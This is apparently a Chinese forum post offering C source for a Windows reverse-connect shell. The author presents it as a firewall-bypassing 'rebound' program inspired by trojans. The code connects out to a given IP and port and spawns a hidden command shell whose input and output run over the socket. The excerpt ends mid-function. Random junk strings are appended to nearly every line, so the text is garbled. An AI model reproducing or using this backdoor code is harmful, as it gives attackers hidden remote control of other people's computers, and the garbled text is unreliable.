这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 .?<M$38fv
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Rebound port in Windows NT ?W6qwm,?L
By wind,2006/7 O
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#include Z4&,KrV
#include !06
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#pragma comment(lib,"wsock32.lib") TnuNoMD.
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void OutputShell(); ]RBT9@-:U
SOCKET sClient; qdss(LZ
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ( o(, ;
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void main(int argc,char **argv) w)nFH)f
{ HITw{RPrW
WSADATA stWsaData; [osIQ!u;:
int nRet; ZmXO3,sf)
SOCKADDR_IN stSaiClient,stSaiServer; xJ&E2Bf
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if(argc != 3) %ZKP d8
{ -2D/RE7|
printf("Useage:\n\rRebound DestIP DestPort\n"); zp4aiMn1F
return; ls;!Og9
} e$vvm bK.
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WSAStartup(MAKEWORD(2,2),&stWsaData); bXiOf#:''
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); k=^~\$e
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stSaiClient.sin_family = AF_INET; 9"g!J|+
stSaiClient.sin_port = htons(0); _l ,_NV&T
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); rDD,eNjG
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) VZhHO
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{ B$\,l.hE
printf("Bind Socket Failed!\n"); Qm(KvL5
return; *XCgl*% *
} (#)-IdXXO<
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stSaiServer.sin_family = AF_INET; j#f7-nHyz8
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); +";<Kd -
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); [(O*W
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 2[V9`r8*
{ ,B'n0AO/'
printf("Connect Error!"); ;_nV*G.y#^
return; > &V Y
} (fTi1
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OutputShell(); ,q".d =6
} e,X{.NS
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void OutputShell() bT8 ?(Iu
{ `pJWZ:3
char szBuff[1024]; ( +x!wX( x
SECURITY_ATTRIBUTES stSecurityAttributes; X }""=
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OSVERSIONINFO stOsversionInfo;
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; RAs5<US:
STARTUPINFO stStartupInfo; D8O&`!mf
char *szShell; Iq%
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PROCESS_INFORMATION stProcessInformation; r;"uk+{i
unsigned long lBytesRead; a*N<gId
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ?3t]9z
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); )zMsKfQ
stSecurityAttributes.lpSecurityDescriptor = 0; 713)D4y}
stSecurityAttributes.bInheritHandle = TRUE; _yu_Ev}R
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); (RM;T @`
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); CW .
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 6<`tb)_2~
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #*v:.0%
stStartupInfo.wShowWindow = SW_HIDE; bmd3fJb`r
stStartupInfo.hStdInput = hReadPipe; h;RKF\U:"
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; \*r]v;NcP
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GetVersionEx(&stOsversionInfo); ,b!]gsds
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switch(stOsversionInfo.dwPlatformId) 7eP3pg#
{ AfqthI$*m
case 1: R;3T yn+
szShell = "command.com"; ><